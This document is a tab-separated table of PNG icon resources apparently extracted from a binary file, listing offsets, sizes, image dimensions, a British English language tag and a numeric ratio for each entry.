PNG	0x154550	0x27fe	PNG image data, 768 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9854463762453605
PNG	0x156d50	0x13d	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.003154574132492
PNG	0x156e90	0x167	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0139275766016713
PNG	0x156ff8	0x182	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0129533678756477
PNG	0x15717c	0x197	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0171990171990173
PNG	0x157314	0x213	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0207156308851224
PNG	0x157528	0x1ff	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0215264187866928
PNG	0x157728	0x268	PNG image data, 25 x 25, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0178571428571428
PNG	0x157990	0x2ba	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.015759312320917
PNG	0x157c4c	0x41d	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0104463437796771
PNG	0x15806c	0x4fb	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.008627450980392
PNG	0x158568	0x6b0	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0064252336448598
PNG	0x158c18	0x896	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0050045495905369
PNG	0x1594b0	0x21e	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0018450184501846
PNG	0x1596d0	0x253	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0033613445378151
PNG	0x159924	0x275	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8712241653418124
PNG	0x159b9c	0x39e	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8704103671706264
PNG	0x159f3c	0x286	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0170278637770898
PNG	0x15a1c4	0x2ef	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.014647137150466
PNG	0x15a4b4	0x3ee	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9701789264413518
PNG	0x15a8a4	0x4d2	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9619124797406807
PNG	0x15ad78	0x410	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.010576923076923
PNG	0x15b188	0x51c	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0084097859327217
PNG	0x15b6a4	0x6d1	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0063037249283668
PNG	0x15bd78	0x832	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0052430886558628
PNG	0x15c5ac	0x3a9	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0117395944503735
PNG	0x15c958	0x43d	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0101382488479262
PNG	0x15cd98	0x5bb	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0074982958418541
PNG	0x15d354	0x71c	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.006043956043956
PNG	0x15da70	0x1f4	PNG image data, 18 x 18, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.022
PNG	0x15dc64	0x266	PNG image data, 23 x 23, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.017915309446254
PNG	0x15decc	0x2c9	PNG image data, 28 x 28, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0154277699859748
PNG	0x15e198	0x386	PNG image data, 37 x 37, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0121951219512195
PNG	0x15e520	0x470	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0096830985915493
PNG	0x15e990	0x10d	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x15eaa0	0x1ef	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0121212121212122
PNG	0x15ec90	0x1ba	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9932126696832579
PNG	0x15ee4c	0x165	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7675070028011205
PNG	0x15efb4	0x20b	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8107074569789675
PNG	0x15f1c0	0x10d	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x15f2d0	0x1e0	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0041666666666667
PNG	0x15f4b0	0x17d	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.979002624671916
PNG	0x15f630	0x165	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7703081232492998
PNG	0x15f798	0x20e	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8098859315589354
PNG	0x15f9a8	0xf3	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9794238683127572
PNG	0x15fa9c	0xfa	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.948
PNG	0x15fb98	0x119	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9466192170818505
PNG	0x15fcb4	0x14b	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7190332326283988
PNG	0x15fe00	0x17e	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.6544502617801047
PNG	0x15ff80	0xef	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9832635983263598
PNG	0x160070	0xfe	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9803149606299213
PNG	0x160170	0x11a	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9680851063829787
PNG	0x16028c	0x14f	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7194029850746269
PNG	0x1603dc	0x181	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.6311688311688312
PNG	0x160560	0x105	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9693486590038314
PNG	0x160668	0x115	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x160780	0x122	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9896551724137931
PNG	0x1608a4	0x16c	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8159340659340659
PNG	0x160a10	0x1a1	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7553956834532374
PNG	0x160bb4	0x103	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.972972972972973
PNG	0x160cb8	0x118	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.975
PNG	0x160dd0	0x126	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9285714285714286
PNG	0x160ef8	0x16f	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8092643051771117
PNG	0x161068	0x1a5	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7505938242280285
PNG	0x161210	0xde	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9234234234234234
PNG	0x1612f0	0xe9	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9313304721030042
PNG	0x1613dc	0xf0	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.875
PNG	0x1614cc	0x138	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.6538461538461539
PNG	0x161604	0x16a	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.5994475138121547
PNG	0x161770	0xdc	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9090909090909091
PNG	0x16184c	0xe8	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9353448275862069
PNG	0x161934	0xf2	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9132231404958677
PNG	0x161a28	0x13d	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.6624605678233438
PNG	0x161b68	0x16f	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.6103542234332425
PNG	0x161cd8	0x1b7	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0250569476082005
PNG	0x161e90	0x21c	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0203703703703704
PNG	0x1620ac	0x279	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0173775671406002
PNG	0x162328	0x310	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0140306122448979
PNG	0x162638	0x3bc	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0115062761506277
PNG	0x1629f4	0x386	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0121951219512195
PNG	0x162d7c	0x4c2	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0090311986863711
PNG	0x163240	0x665	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0067196090409285
PNG	0x1638a8	0x998	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0044788273615635
PNG	0x164240	0xd0f	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.003290457672749
PNG	0x164f50	0x2b0	PNG image data, 32 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0159883720930232
PNG	0x165200	0x3c5	PNG image data, 42 x 21, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.01139896373057
PNG	0x1655c8	0x4a3	PNG image data, 52 x 26, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0092670598146587
PNG	0x165a6c	0x5d7	PNG image data, 63 x 31, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0073578595317725
PNG	0x166044	0x715	PNG image data, 84 x 42, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0060672917815774
PNG	0x16675c	0x5e2	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0073041168658698
PNG	0x166d40	0x6f5	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0061763054463784
PNG	0x167438	0x7cb	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0055137844611528
PNG	0x167c04	0xa5f	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0041431261770244
PNG	0x168664	0xcfa	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9993979530403372
PNG	0x169360	0x7c6	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0055276381909548
PNG	0x169b28	0x7a2	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0056294779938588
PNG	0x16a2cc	0xa9e	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.004047093451067
PNG	0x16ad6c	0x11ec	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0023975588491718
PNG	0x16bf58	0x176e	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.001833944648216
PNG	0x16d6c8	0x823	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0052808449351895
PNG	0x16deec	0xa2c	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0042242703533026
PNG	0x16e918	0xc07	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0035725885027607
PNG	0x16f520	0x102f	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0026550808592807
PNG	0x170550	0x125f	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.002338932596215
PNG	0x1717b0	0x6b6	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0064027939464493
PNG	0x171e68	0x8b7	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0049305244285074
PNG	0x172720	0xafc	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0039118065433854
PNG	0x17321c	0x110e	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0025194686211636
PNG	0x17432c	0x146a	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9980864906238041
PNG	0x175798	0x109	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0075471698113208
PNG	0x1758a4	0x464	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7135231316725978
PNG	0x175d08	0x462	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7112299465240641
PNG	0x17616c	0x479	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7170305676855895
PNG	0x1765e8	0x4b9	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7377998345740281
PNG	0x176aa4	0x6dc	PNG image data, 24 x 23, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.00626423690205
PNG	0x177180	0x939	PNG image data, 30 x 29, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0046590427784836
PNG	0x177abc	0xb1f	PNG image data, 36 x 34, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0038637161924833
PNG	0x1785dc	0x1151	PNG image data, 48 x 46, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0024813895781637
PNG	0x179730	0x17be	PNG image data, 60 x 57, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0018098058571898
PNG	0x17aef0	0x7a9	PNG image data, 68 x 22, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0056093829678736
PNG	0x17b69c	0x122	PNG image data, 9 x 8, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.006896551724138
PNG	0x17b7c0	0x103	PNG image data, 9 x 8, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0038610038610039
PNG	0x17b8c4	0x146	PNG image data, 14 x 14, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0153374233128833
PNG	0x17ba0c	0x134	PNG image data, 14 x 14, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0064935064935066
PNG	0x17bb40	0x164	PNG image data, 14 x 14, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0196629213483146
PNG	0x17bca4	0x1c6	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.024229074889868
PNG	0x17be6c	0x21d	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0203327171903882
PNG	0x17c08c	0x26f	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0176565008025682
PNG	0x17c2fc	0x2f4	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0145502645502646
PNG	0x17c5f0	0x3ad	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0116896918172158
PNG	0x17c9a0	0x1524	PNG image data, 64 x 60, 8-bit/color RGB, non-interlaced	English	Great Britain	1.0020325203252032
PNG	0x17dec4	0x1d78	PNG image data, 80 x 75, 8-bit/color RGB, non-interlaced	English	Great Britain	1.001458112407211
PNG	0x17fc3c	0x27c8	PNG image data, 96 x 90, 8-bit/color RGB, non-interlaced	English	Great Britain	1.0010801256873527
PNG	0x182404	0x3a7a	PNG image data, 128 x 120, 8-bit/color RGB, non-interlaced	English	Great Britain	1.0007348029392118
PNG	0x185e80	0x51f4	PNG image data, 160 x 150, 8-bit/color RGB, non-interlaced	English	Great Britain	1.0007626310772164
PNG	0x18b074	0x3946	PNG image data, 120 x 113, 8-bit/color RGB, non-interlaced	English	Great Britain	1.0007502387123175
PNG	0x18e9bc	0x4aad	PNG image data, 150 x 141, 8-bit/color RGB, non-interlaced	English	Great Britain	1.000836951404509
PNG	0x19346c	0x6301	PNG image data, 180 x 169, 8-bit/color RGB, non-interlaced	English	Great Britain	1.000631288222529
PNG	0x199770	0xaa7b	PNG image data, 240 x 226, 8-bit/color RGB, non-interlaced	English	Great Britain	1.000481176821025
PNG	0x1a41ec	0xcc64	PNG image data, 300 x 282, 8-bit/color RGB, non-interlaced	English	Great Britain	1.000496903906429
PNG	0x1b0e50	0x107f	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0026047833293867
PNG	0x1b1ed0	0x157d	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.00199963642974
PNG	0x1b3450	0x1dc2	PNG image data, 72 x 72, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0014439485429247
PNG	0x1b5214	0x2fac	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0009013438216978
PNG	0x1b81c0	0x432c	PNG image data, 120 x 120, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0009304489416144
PNG	0x1bc4ec	0x102	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9922480620155039
PNG	0x1bc5f0	0x1b6	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9908675799086758
PNG	0x1bc7a8	0x16c	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9752747252747253
PNG	0x1bc914	0x170	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.779891304347826
PNG	0x1bca84	0x201	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8031189083820662
PNG	0x1bcc88	0xf6	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9959349593495935
PNG	0x1bcd80	0xff	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.984313725490196
PNG	0x1bce80	0x118	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9714285714285714
PNG	0x1bcf98	0x14f	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7253731343283583
PNG	0x1bd0e8	0x182	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.6373056994818653
PNG	0x1bd26c	0xdd	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9140271493212669
PNG	0x1bd34c	0xe9	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9356223175965666
PNG	0x1bd438	0xf3	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9135802469135802
PNG	0x1bd52c	0x13e	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.6666666666666666
PNG	0x1bd66c	0x16f	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.6076294277929155
PNG	0x1bd7dc	0x112	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9817518248175182
PNG	0x1bd8f0	0x119	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9786476868327402
PNG	0x1bda0c	0x127	PNG image data, 60 x 48, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9322033898305084
PNG	0x1bdb34	0x170	PNG image data, 80 x 64, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8097826086956522
PNG	0x1bdca4	0x1a6	PNG image data, 100 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7535545023696683
PNG	0x1bde4c	0xc6	PNG image data, 9 x 8, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9949494949494949
PNG	0x1bdf14	0xfd	PNG image data, 11 x 10, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1be014	0x121	PNG image data, 13 x 12, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0069204152249136
PNG	0x1be138	0xed	PNG image data, 18 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1be228	0x115	PNG image data, 22 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1be340	0xc5	PNG image data, 9 x 8, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9898477157360406
PNG	0x1be408	0xfa	PNG image data, 11 x 10, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.004
PNG	0x1be504	0xdd	PNG image data, 13 x 12, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9547511312217195
PNG	0x1be5e4	0x14a	PNG image data, 18 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.009090909090909
PNG	0x1be730	0x128	PNG image data, 22 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.010135135135135
PNG	0x1be858	0xc0	PNG image data, 8 x 9, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.984375
PNG	0x1be918	0xcb	PNG image data, 10 x 11, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9852216748768473
PNG	0x1be9e4	0x116	PNG image data, 12 x 13, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0071942446043165
PNG	0x1beafc	0xeb	PNG image data, 16 x 18, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9957446808510638
PNG	0x1bebe8	0x11b	PNG image data, 20 x 22, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1bed04	0xbe	PNG image data, 8 x 9, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9894736842105263
PNG	0x1bedc4	0xd0	PNG image data, 10 x 11, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9711538461538461
PNG	0x1bee94	0xdc	PNG image data, 12 x 13, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.990909090909091
PNG	0x1bef70	0xe8	PNG image data, 16 x 18, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1bf058	0xff	PNG image data, 20 x 22, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1bf158	0xbc	PNG image data, 8 x 9, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9893617021276596
PNG	0x1bf214	0xcb	PNG image data, 10 x 11, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9802955665024631
PNG	0x1bf2e0	0x112	PNG image data, 12 x 13, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9598540145985401
PNG	0x1bf3f4	0xef	PNG image data, 16 x 18, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1bf4e4	0x119	PNG image data, 20 x 22, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1bf600	0xbf	PNG image data, 8 x 9, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9842931937172775
PNG	0x1bf6c0	0xcf	PNG image data, 10 x 11, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9855072463768116
PNG	0x1bf790	0xde	PNG image data, 12 x 13, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9954954954954955
PNG	0x1bf870	0xec	PNG image data, 16 x 18, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9957627118644068
PNG	0x1bf95c	0xfa	PNG image data, 20 x 22, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1bfa58	0xbe	PNG image data, 9 x 8, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9947368421052631
PNG	0x1bfb18	0xc8	PNG image data, 11 x 10, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.99
PNG	0x1bfbe0	0xbda3	PNG image data, 13 x 12, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7202916761076894
PNG	0x1cb984	0xe8	PNG image data, 18 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9956896551724138
PNG	0x1cba6c	0x109	PNG image data, 22 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1cbb78	0xce	PNG image data, 9 x 8, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1cbc48	0xca	PNG image data, 11 x 10, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9851485148514851
PNG	0x1cbd14	0xf6	PNG image data, 13 x 12, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9959349593495935
PNG	0x1cbe0c	0xee	PNG image data, 18 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9957983193277311
PNG	0x1cbefc	0xbf71	PNG image data, 22 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.7202146544512232
PNG	0x1d7e70	0x12d	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0066445182724253
PNG	0x1d7fa0	0x13a	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0095541401273886
PNG	0x1d80dc	0x161	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0113314447592068
PNG	0x1d8240	0x18a	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0203045685279188
PNG	0x1d83cc	0x1ca	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0240174672489082
PNG	0x1d8598	0xff	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1d8698	0x11b	PNG image data, 20 x 20, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0035335689045937
PNG	0x1d87b4	0x135	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0161812297734627
PNG	0x1d88ec	0x160	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0113636363636365
PNG	0x1d8a4c	0x18c	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0176767676767677
PNG	0x1d8bd8	0x4f5	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0086682427107958
PNG	0x1d90d0	0x2b8	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0158045977011494
PNG	0x1d9388	0x42b	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0103092783505154
PNG	0x1d97b4	0x3d7	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0111902339776195
PNG	0x1d9b8c	0xf6	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0040650406504066
PNG	0x1d9c84	0xcd	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0
PNG	0x1d9d54	0x10c	PNG image data, 40 x 32, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0223880597014925
PNG	0x1d9e60	0x240	PNG image data, 50 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0190972222222223
PNG	0x1da0a0	0x27d	PNG image data, 26 x 21, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0172684458398744
PNG	0x1da320	0x39c	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0119047619047619
PNG	0x1da6bc	0x717	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8429752066115702
PNG	0x1dadd4	0x7e5	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8629391390400791
PNG	0x1db5bc	0x937	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8817295464179737
PNG	0x1dbef4	0xa5e	PNG image data, 100 x 100, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8862094951017332
PNG	0x1dc954	0x4a5	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced	English	Great Britain	1.0092514718250631
PNG	0x1dcdfc	0x7f5	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8689248895434463
PNG	0x1dd5f4	0x8f0	PNG image data, 60 x 60, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.8837412587412588
PNG	0x1ddee4	0xabf	PNG image data, 80 x 80, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9051254089422028
